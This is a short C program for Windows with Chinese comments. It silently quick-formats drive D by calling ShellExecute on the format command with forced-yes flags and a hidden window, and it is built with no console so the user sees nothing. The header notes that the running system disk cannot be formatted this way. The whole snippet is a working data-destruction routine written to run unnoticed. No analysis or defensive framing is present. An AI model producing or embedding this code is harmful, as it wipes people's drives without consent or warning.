无法格式化正在运行的系统盘
静默格式化, 无任何窗口提示
#include <windows.h>
#include <shellapi.h>
#pragma comment(linker, "/subsystem:windows /entry:WinMainCRTStartup")
// d:需要格式化的盘符
void fmtDisk(char d)
{
char str[] = " : /q /u /y";
str[0] = d;
ShellExecute(NULL, "open", "format", str, NULL, SW_HIDE);
}
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance, PSTR pCmdLine, int nCmdShow)
{
// 格式化 D 盘
fmtDisk('D');
return 0;
}